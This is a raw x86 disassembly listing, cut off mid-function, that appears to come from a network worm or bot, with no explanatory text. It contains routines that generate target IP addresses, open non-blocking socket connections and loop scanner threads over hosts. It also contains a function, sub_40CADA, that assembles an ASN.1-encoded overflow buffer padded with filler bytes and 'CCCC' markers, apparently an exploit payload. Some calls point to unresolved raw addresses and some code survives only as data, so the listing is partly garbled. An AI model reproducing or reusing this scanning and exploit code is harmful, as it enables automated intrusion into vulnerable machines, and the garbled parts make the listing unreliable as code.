mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CB0F0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CAECC inc eax push eax mov [ebp+arg_0], eax call dword_4CAFA0 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEB proc near ; CODE XREF: sub_40C124+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C013 xor eax, eax jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFEB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C040 call sub_41B8E2 mov [ebp+var_C], eax loc_40C040: ; CODE XREF: sub_40BFEB+4Bj cmp [ebp+var_8], esi jnz short loc_40C04D call sub_41B8E2 mov [ebp+var_8], eax loc_40C04D: ; CODE XREF: sub_40BFEB+58j cmp [ebp+var_4], esi jnz short loc_40C05A call sub_41B8E2 mov [ebp+var_4], eax loc_40C05A: ; CODE XREF: sub_40BFEB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C066 call sub_41B8E2 loc_40C066: ; CODE XREF: sub_40BFEB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB0F0[ecx*8], eax loc_40C084: ; CODE XREF: sub_40BFEB+26j pop esi leave retn sub_40BFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: ___:0040B8FAp ; sub_40C124+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CB024 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B0 xor eax, eax jmp short loc_40C11F ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C087+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CAFA4 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB040 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CAF4C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CAF8C push esi mov edi, eax call dword_4CB03C xor eax, eax cmp edi, ebx setnle al loc_40C11F: ; CODE XREF: sub_40C087+27j pop edi pop esi pop ebx leave retn sub_40C087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C124 proc near ; DATA XREF: sub_40C124+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 268068Bh push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16B: ; CODE XREF: sub_40C124+204j mov eax, dword_43DEE4[ebx] cmp dword_4CB0F4[eax*8], 0 jz loc_40C32D cmp [ebp+var_10], 0 push eax jz short loc_40C195 lea eax, [ebp+var_150] push eax call sub_40BFEB pop ecx jmp short loc_40C19A ; --------------------------------------------------------------------------- loc_40C195: ; CODE XREF: sub_40C124+60j call sub_40BFA3 loc_40C19A: ; CODE XREF: sub_40C124+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43DEE4[ebx] push [ebp+var_3C] push edi call dword_4CB030 push eax lea eax, [ebp+var_28C] push offset unk_431AAC push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43DCE0[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C087 add esp, 14h cmp eax, 1 jnz loc_40C31D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C271 push offset dword_4CD0F0 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CB030 push eax lea eax, [ebp+var_28C] push offset unk_431A84 push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C253 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C247 lea eax, [ebp+var_140] loc_40C247: ; CODE XREF: sub_40C124+11Bj push eax push [ebp+var_40] call sub_409A72 add esp, 14h loc_40C253: ; CODE XREF: sub_40C124+100j lea eax, [ebp+var_28C] push eax call sub_4151AC mov [esp+29Ch+var_29C], offset dword_4CD0F0 nop call near ptr 77F7E300h jmp loc_40C31D ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C124+D0j push edi call dword_4CB030 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B6 lea eax, [ebp+var_140] loc_40C2B6: ; CODE XREF: sub_40C124+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_431444[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31D: ; CODE XREF: sub_40C124+C6j ; sub_40C124+148j push 7D0h call near ptr 2660D05h nop jmp loc_40C16B ; --------------------------------------------------------------------------- loc_40C32D: ; CODE XREF: sub_40C124+55j push esi call sub_40B412 pop ecx push 0 call near ptr 26D0000h nop loc_40C33C: ; DATA XREF: sub_401ACD+1F81o ; sub_401ACD+5C48o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CAFE4 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB0F0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACD push 0Bh call sub_40B33E add esp, 150h cmp eax, ebx jnz short loc_40C40A mov esi, offset dword_4CD0F0 push esi nop call near ptr 26D075Ch push 80000400h push esi call near ptr 26D05C5h nop test eax, eax jnz short loc_40C40A lea eax, [ebp+var_1CC] push offset unk_431B90 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C3F4: ; CODE XREF: sub_40C124+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AC pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40A: ; CODE XREF: sub_40C124+27Bj ; sub_40C124+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB0F4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D7 loc_40C428: ; CODE XREF: sub_40C124+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431B5C push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43DEE4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C124 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40C4A2 loc_40C497: ; CODE XREF: sub_40C124+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4C9 push 1Eh call esi jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C4A2: ; CODE XREF: sub_40C124+371j nop call near ptr 267064Ch push eax lea eax, [ebp+var_1CC] push offset unk_431B24 push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AC add esp, 10h loc_40C4C9: ; CODE XREF: sub_40C124+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C428 loc_40C4D7: ; CODE XREF: sub_40C124+2FEj cmp [ebp+var_30], ebx jz loc_40C581 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4EC: ; CODE XREF: sub_40C124+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB0F0[eax*8] push eax call dword_4CB030 push eax lea eax, [ebp+var_1CC] push offset unk_431AE4 push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C53A: ; CODE XREF: sub_40C124+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AC mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB0F4[eax*8], ebx call esi push 0Bh call sub_40B33E cmp eax, 1 pop ecx jnz short loc_40C571 push offset dword_4CD0F0 nop call near ptr 26D075Ch loc_40C571: ; CODE XREF: sub_40C124+440j push [ebp+var_2C] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop loc_40C581: ; CODE XREF: sub_40C124+3B6j ; sub_40C124+475j mov eax, [ebp+var_2C] cmp dword_4CB0F4[eax*8], 1 jnz loc_40C4EC push 7D0h call esi jmp short loc_40C581 sub_40C124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59B proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CAFA4 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CB024 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C659 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CAF4C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43DEEC[ecx], esi jz short loc_40C659 push [ebp+var_38] push [ebp+var_28] call dword_4CB030 push eax mov edi, offset dword_4CDAB4 push offset dword_431BC4 push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A72 push edi call sub_4151AC add esp, 28h loc_40C659: ; CODE XREF: sub_40C59B+5Dj ; sub_40C59B+7Ej push esi call dword_4CB03C pop edi xor eax, eax pop esi leave retn 4 sub_40C59B endp ; --------------------------------------------------------------------------- dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+603Eo dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0B03015FFh, 8D50004Ch, 0FFFECC85h dd 1BEC68FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0DCE00500h, 0E8500043h dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C59Bh, 0E8905757h, 2254696h, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0BDE890FCh, 0FF022441h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAECCh dd 45895040h, 0A015FF08h, 89004CAFh, 458D0845h, 50046A08h dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 3015FFE4h, 50004CB0h, 0FED0858Dh, 4068FFFFh dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 0E0050000h, 500043DCh, 0EE2BE8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 90575700h dd 2545A5E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0CDE80875h, 90022440h, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 3015FFE4h, 50004CB0h, 0FED0858Dh, 1468FFFFh dd 5000431Ch, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep ; sub_40CADA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C866 endp ; =============== S U B R O U T I N E ======================================= sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A2 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A2: ; CODE XREF: sub_40C870+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p ; sub_40CA1E+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F6 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AA endp ; =============== S U B R O U T I N E ======================================= sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep ; sub_40C9A4+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C90F push eax call sub_41B0B1 pop ecx loc_40C90F: ; CODE XREF: sub_40C8FF+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C8FF endp ; =============== S U B R O U T I N E ======================================= sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p ; sub_40CA7F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C945 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C949 loc_40C945: ; CODE XREF: sub_40C918+Dj xor al, al jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C949: ; CODE XREF: sub_40C918+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96E mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C988 ; --------------------------------------------------------------------------- loc_40C96E: ; CODE XREF: sub_40C918+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C988: ; CODE XREF: sub_40C918+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A0: ; CODE XREF: sub_40C918+2Fj pop edi pop esi pop ebx retn sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p ; sub_40CADA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CAE5C call sub_40C8AA lea ecx, [ebp+var_8] call sub_40C918 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DE xor al, al jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9DE: ; CODE XREF: sub_40C9A4+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C8FF mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C8FF mov al, 1 loc_40CA1A: ; CODE XREF: sub_40C9A4+38j pop edi pop esi leave retn sub_40C9A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p ; sub_40CA6F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1E endp ; =============== S U B R O U T I N E ======================================= sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p ; sub_40CADA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1E pop esi retn 4 sub_40CA52 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp ; sub_40CADA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1E retn 8 sub_40CA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p ; sub_40CADA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C918 test al, al jz short loc_40CAB8 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42C920 call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj pop esi leave retn sub_40CA7F endp ; =============== S U B R O U T I N E ======================================= sub_40CABB proc near ; CODE XREF: sub_40CADA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA6F test al, al jz short loc_40CAD6 mov ecx, esi call sub_40CA7F loc_40CAD6: ; CODE XREF: sub_40CABB+12j pop esi retn 8 sub_40CABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADA proc near ; CODE XREF: ___:0040D361p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C866 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2E mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2E push esi lea ecx, [ebp+var_30] call sub_40C866 lea ecx, [ebp+var_20] call sub_40C866 lea ecx, [ebp+var_50] call sub_40C866 lea ecx, [ebp+var_18] call sub_40C866 lea ecx, [ebp+var_40] call sub_40C866 lea ecx, [ebp+var_38] call sub_40C866 lea ecx, [ebp+var_28] call sub_40C866 push 4 push offset dword_431C78 lea ecx, [ebp+var_30] call sub_40CA1E push 3 push offset dword_431C80 lea ecx, [ebp+var_30] call sub_40CA1E lea ecx, [ebp+var_30] call sub_40C9A4 lea ecx, [ebp+var_30] call sub_40CA7F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "░B░B░B░B" call sub_40CA1E push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1E mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1E lea ecx, [ebp+var_20] call sub_40C9A4 push offset loc_431FFC lea ecx, [ebp+var_50] call sub_40CA52 lea ecx, [ebp+var_50] call sub_40C9A4 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C870 lea ecx, [ebp+var_58] call sub_40C9A4 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABB lea ecx, [ebp+var_58] call sub_40C8FF push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA52 push 4 push offset dword_431C84 lea ecx, [ebp+var_18] call sub_40CA1E push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1E sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1E lea ecx, [ebp+var_18] call sub_40C9A4 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA6F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA6F lea ecx, [ebp+var_40] call sub_40CA7F lea ecx, [ebp+var_18] call sub_40C8FF lea ecx, [ebp+var_50] call sub_40C8FF push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA6F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA6F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA6F lea ecx, [ebp+var_38] call sub_40CA7F lea ecx, [ebp+var_20] call sub_40C8FF lea ecx, [ebp+var_30] call sub_40C8FF lea ecx, [ebp+var_40] call sub_40C8FF push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1E lea ecx, [ebp+var_28] call sub_40C9A4 push 2 push offset dword_431FF0 lea ecx, [ebp+var_28] call sub_40CA1E push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA6F lea ecx, [ebp+var_28] call sub_40CA7F lea ecx, [ebp+var_38] call sub_40C8FF lea ecx, [ebp+var_10] call sub_40C866 lea ecx, [ebp+var_8] call sub_40C866 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_28] call sub_40C8FF push offset dword_431FEC lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push offset dword_431FE8 lea ecx, [ebp+var_10] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_8] call sub_40C8FF push offset dword_431FDC lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push (offset loc_431FD7+1) lea ecx, [ebp+var_48] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C8FF mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj ; sub_40CADA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3C: ; CODE XREF: sub_40CADA+352j pop edi pop ebx leave retn sub_40CADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p ; sub_40CF04+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 